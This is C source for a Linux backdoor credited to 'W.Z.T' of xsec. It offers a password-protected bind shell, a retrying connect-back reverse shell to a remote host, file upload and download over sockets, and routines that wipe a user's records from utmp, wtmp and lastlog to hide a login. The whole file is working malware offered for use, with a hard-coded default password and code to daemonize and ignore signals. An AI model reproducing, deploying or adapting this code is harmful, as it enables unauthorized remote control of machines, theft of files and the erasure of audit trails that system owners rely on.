/*
* A tiny Linux backdoor with tty V. 1.2
* Based on bindtty , thx sd
* Code by W.Z.T <wzt@xsec.org>
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <errno.h>
#include <dirent.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
#include <sys/socket.h>
#define HOME "/tmp"
#define TEMP_FILE "tthacker"
#define CREATMODE 0777
#define TIOCSCTTY 0x540E
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
#define ECHAR 0x1d
#define BUF 32768
#define MAXENV 256
#define ENVLEN 256
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
#define MAXARGS 50
#define MAXFD 5
#define SLEEP_TIME 10 /* !!connect back time */
#define ARGLEN 300
#define USAGES1 "\nconnected successful.welcome to use xsec's bindshell.Good Luck:)\n\n"
#define ERRORS "\nDo you want to get my shell? FUCK------->"
#define PASSWD "tthacker" /* !!default password */
#define LOGIN "login:"
#define MAXNAME 100
#define BUF_SIZE 4096
#define TEMP_NAME "tthacker"
void shell(int sock_id,int sock_fd);
void myshell(void);
void connect_back(char *hosts,char *port);
void bindshell(char *port);
void send_file(int sock_id);
void save_file(int client_fd);
void get_tty(int num, char *base, char *buf);
void sig_child(int i);
void hangout(int i);
void cannot_stop_me(void);
void clearn_utmp(char *who);
void clearn_wtmp(char *who);
void clearn_lastlog(char *who);
void usage(char *pro);
int open_tty(int *tty, int *pty);
struct winsize {
unsigned short ws_row;
unsigned short ws_col;
unsigned short ws_xpixel;
unsigned short ws_ypixel;
};
char command[ARGLEN];
char error1[MAXARGS];
char type1[MAXARGS];
char type2[MAXARGS];
char check[ARGLEN];
int fp;
int flag_g=0;
int flag_u=0;
char send_filename[MAXNAME];
char save_filename[MAXNAME];
int main(int argc,char *argv[])
{
if(argc==1){
usage(argv[0]);
}
if(argc==2){
bindshell(argv[1]);
}
if(argc==3&&!strcmp(argv[1],"-c")){
clearn_utmp(argv[2]);
clearn_wtmp(argv[2]);
clearn_lastlog(argv[2]);
}
if(argc==3&&strcmp(argv[1],"-c")){
connect_back(argv[1],argv[2]);
}
if(argc==4&&!strcmp(argv[1],"-g")){
flag_g=1;
strcpy(save_filename,argv[3]);
bindshell(argv[2]);
}
if(argc==5&&!strcmp(argv[1],"-u")){
flag_u=1;
strcpy(send_filename,argv[4]);
connect_back(argv[2],argv[3]);
}
return 0;
}
void usage(char *pro)
{
fprintf(stdout,"Usage: \n\n");
fprintf(stdout,"Bindshell : %s <port>\n",pro);
fprintf(stdout,"Connect back : %s <remote ip> <port>\n",pro);
fprintf(stdout,"Save file : %s -g <port> <filename>\n",pro);
fprintf(stdout,"Send file : %s -u <remote ip> <port> <filename>\n",pro);
fprintf(stdout,"Clean log(root) : %s -c <username>\n",pro);
exit(0);
}
void connect_back(char *hosts,char *port)
{
struct sockaddr_in serv_addr;
struct hostent *host;
int sock_fd,pid;
if(flag_u!=1){
printf("Daemon is starting...");
fflush(stdout);
pid = fork();
if (pid !=0 ) {
printf("OK, pid = %d\n", pid);
exit(0);
}
setsid();
chdir("/");
pid = open("/dev/null", O_RDWR);
dup2(pid, 0);
dup2(pid, 1);
dup2(pid, 2);
close(pid);
signal(SIGHUP, SIG_IGN);
signal(SIGCHLD, sig_child);
}
while(1){
if((host=gethostbyname(hosts))==NULL){
herror("gethostbyname");
exit(1);
}
if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
perror("socket");
exit(1);
}
serv_addr.sin_family=AF_INET;
serv_addr.sin_port=htons(atoi(port));
serv_addr.sin_addr=*((struct in_addr *)host->h_addr);
bzero(&(serv_addr.sin_zero),8);
strcpy(error1,(char *)inet_ntoa(INADDR_ANY));
error1[strlen(error1)]='\0';
if(connect(sock_fd,(struct sockaddr *)&serv_addr,sizeof(struct sockaddr))==-1){
perror("connect");
close(sock_fd);
continue;
}
if(flag_u==1){
send_file(sock_fd);
exit(0);
}
else{
shell(sock_fd,0);
sleep(SLEEP_TIME);
close(sock_fd);
}
}
}
void bindshell(char *port)
{
int pid;
int sin_size;
int sock_fd,client_fd;
struct sockaddr_in my_addr;
struct sockaddr_in remote_addr;
if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
perror("socket");
exit(1);
}
my_addr.sin_family=AF_INET;
my_addr.sin_port=htons(atoi(port));
my_addr.sin_addr.s_addr=INADDR_ANY;
bzero(&(my_addr.sin_zero),8);
if(bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr))==-1){
perror("bind");
exit(1);
}
if(listen(sock_fd,MAXFD)==-1){
perror("listen");
close(sock_fd);
exit(0);
}
strcpy(error1,(char *)inet_ntoa(remote_addr));
error1[strlen(error1)]='\0';
printf("Daemon is starting...");
fflush(stdout);
pid = fork();
if (pid !=0 ) {
printf("OK, pid = %d\n", pid);
exit(0);
}
setsid();
chdir("/");
pid = open("/dev/null", O_RDWR);
dup2(pid, 0);
dup2(pid, 1);
dup2(pid, 2);
close(pid);
signal(SIGHUP, SIG_IGN);
signal(SIGCHLD, sig_child);
while(1){
sin_size=sizeof(struct sockaddr_in);
if((client_fd=accept(sock_fd,(struct sockaddr *)&remote_addr,&sin_size))==-1){
perror("accept");
close(client_fd);
continue;
}
if(flag_g==1){
save_file(client_fd);
exit(0);
}
else{
shell(client_fd,sock_fd);
}
close(client_fd);
}
}
void send_file(int sock_id)
{
int fd,n_char;
char buffer[BUF_SIZE];
if((fd=open(send_filename,O_RDONLY))<0){
fprintf(stderr,"Cannot open %s\n",send_filename);
exit(1);
}
printf("[+] Open file %s ok.\n",send_filename);
while((n_char=read(fd,buffer,BUF_SIZE))>0){
write(sock_id,buffer,n_char);
printf("Send %d bytes ok.\n",n_char);
}
fprintf(stdout,"send file %s ok.\n",send_filename);
close(fd);
}
void save_file(int client_fd)
{
int fd,n_char;
char buffer[BUF_SIZE];
char send_ok[BUF_SIZE]="save file ok.\n";
char file_name[MAXNAME];
if((fd=creat(save_filename,CREATMODE))<0){
fprintf(stderr,"Cannot create % .n",save_filename);
exit(1);
}
printf("[+] Open file %s ok.\n",save_filename);
while((n_char=read(client_fd,buffer,BUF_SIZE))>0){
write(fd,buffer,n_char);
printf("Save %d bytes ok.\n",n_char);
}
write(client_fd,send_ok,sizeof(send_ok));
close(fd);
}
void shell(int sock_id,int sock_fd)
{
fd_set fds;
struct winsize ws;
char buf[BUF];
char msg[] = "Can't fork pty, bye!\n";
char *argv[] = {"sh", "-i", NULL};
char *envp[MAXENV];
char envbuf[(MAXENV+2) * ENVLEN];
char home[MAXENV];
int i,j,k,slen,rlen,count;
int subshell,tty,pty;
unsigned char *p, *d;
unsigned char wb[5];
write(sock_id,LOGIN,sizeof(LOGIN));
read(sock_id,check,sizeof(check));
if(strstr(check,PASSWD)!=NULL){
if(!fork()){
write(sock_id,USAGES1,strlen(USAGES1));
//stealing code from bindtty
envp[0]=home;
sprintf(home, "HOME=/tmp", HOME);
j = 0;
do {
i = read(sock_id, &envbuf[j * ENVLEN], ENVLEN);
envp[j+1] = &envbuf[j * ENVLEN];
j++;
if ((j >= MAXENV) || (i < ENVLEN)) break;
} while (envbuf[(j-1) * ENVLEN] != '\n');
envp[j+1] = NULL;
setpgid(0, 0);
if (!open_tty(&tty, &pty)) {
write(sock_id, msg, strlen(msg));
close(sock_id);
exit(0);
}
subshell = fork();
if (subshell == 0) {
close(pty);
setsid();
ioctl(tty, TIOCSCTTY);
close(sock_id);
close(sock_fd);
signal(SIGHUP, SIG_DFL);
signal(SIGCHLD, SIG_DFL);
dup2(tty,0);
dup2(tty,1);
dup2(tty,2);
close(tty);
execve("/bin/sh", argv, envp);
}
close(tty);
signal(SIGHUP, hangout);
signal(SIGTERM, hangout);
while (1) {
FD_ZERO(&fds);
FD_SET(pty, &fds);
FD_SET(sock_id, &fds);
if (select((pty > sock_id) ? (pty+1) : (sock_id+1),&fds, NULL, NULL, NULL) < 0){
break;
}
if (FD_ISSET(pty, &fds)) {
count = read(pty, buf, BUF);
if (count <= 0) break;
if (write(sock_id, buf, count) <= 0) break;
}
if (FD_ISSET(sock_id, &fds)) {
d = buf;
count = read(sock_id, buf, BUF);
if (count <= 0) break;
p = memchr(buf, ECHAR, count);
if (p) {
rlen = count - ((long) p - (long) buf);
if (rlen > 5) rlen = 5;
memcpy(wb, p, rlen);
if (rlen < 5) {
read(sock_id, &wb[rlen], 5 - rlen);
}
ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];
ioctl(pty, TIOCSWINSZ, &ws);
kill(0, SIGWINCH);
write(pty, buf, (long) p - (long) buf);
rlen = ((long) buf + count) - ((long)p+5);
if (rlen > 0)
write(pty, p+5, rlen);
}
else
if (write(pty, d, count) <= 0) break;
}
}
close(sock_id);
close(sock_fd);
close(pty);
waitpid(subshell, NULL, 0);
vhangup();
exit(0);
}
}
else{
write(sock_id,ERRORS,strlen(ERRORS));
write(sock_id,error1,strlen(error1));
close(sock_id);
}
close(sock_id);
}
//stealing code from bindtty:)
void get_tty(int num, char *base, char *buf)
{
char series[] = "pqrstuvwxyzabcde";
char subs[] = "0123456789abcdef";
int pos = strlen(base);
strcpy(buf, base);
buf[pos] = series[(num >> 4) & 0xF];
buf[pos+1] = subs[num & 0xF];
buf[pos+2] = 0;
}
int open_tty(int *tty, int *pty)
{
char buf[512];
int i, fd;
fd = open("/dev/ptmx", O_RDWR);
close(fd);
for (i=0; i < 256; i++) {
get_tty(i, "/dev/pty", buf);
*pty = open(buf, O_RDWR);
if (*pty < 0) continue;
get_tty(i, "/dev/tty", buf);
*tty = open(buf, O_RDWR);
if (*tty < 0) {
close(*pty);
continue;
}
return 1;
}
return 0;
}
void sig_child(int i)
{
signal(SIGCHLD, sig_child);
waitpid(-1, NULL, WNOHANG);
}
void hangout(int i)
{
kill(0, SIGHUP);
kill(0, SIGTERM);
}
void cannot_stop_me(void)
{
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
signal(SIGCHLD,SIG_IGN);
signal(SIGHUP,SIG_IGN);
signal(SIGTERM,SIG_IGN);
signal(SIGINT,SIG_IGN);
signal(SIGKILL,SIG_IGN);
if(fork())
exit(0);
}
void clearn_utmp(char *who)
{
struct utmp ent;
if((fp=open(UTMP_NAME,O_RDWR))<0){
perror("open");
}
while(read(fp,&ent,sizeof(ent))>0){
if(!strncmp(ent.ut_user,who,sizeof(ent))){
bzero((char *)&ent,sizeof(ent));
lseek(fp,-(sizeof(ent)),SEEK_CUR);
write(fp,&ent,sizeof(ent));
}
}
printf("clearn %s done.\n",UTMP_NAME);
}
void clearn_lastlog(char *who)
{
struct passwd *pwd;
struct lastlog new;
if((pwd=getpwnam(who))==NULL){
printf("No such user.\n");
exit(0);
}
if((fp=open(LASTLOG_NAME,O_RDWR))<0){
printf("clearn %s failed\n",LASTLOG_NAME);
}
bzero((char *)&new,sizeof(new));
lseek(fp,(long)pwd->pw_uid*sizeof(struct lastlog),0);
write(fp,&new,sizeof(new));
printf("clearn %s done.\n",LASTLOG_NAME);
close(fp);
}
void clearn_wtmp(char *who)
{
struct utmp ent;
if((fp=open(WTMP_NAME,O_RDWR))<0){
printf("Can't open the file %s \n",WTMP_NAME);
}
while(read(fp,&ent,sizeof(ent))>0){
if(!strncmp(ent.ut_user,who,sizeof(ent))){
bzero((char *)&ent,sizeof(ent));
lseek(fp,-(sizeof(ent)),SEEK_CUR);
write(fp,&ent,sizeof(ent));
}
}
printf("claern %s done.\n",WTMP_NAME);
close(fp);
}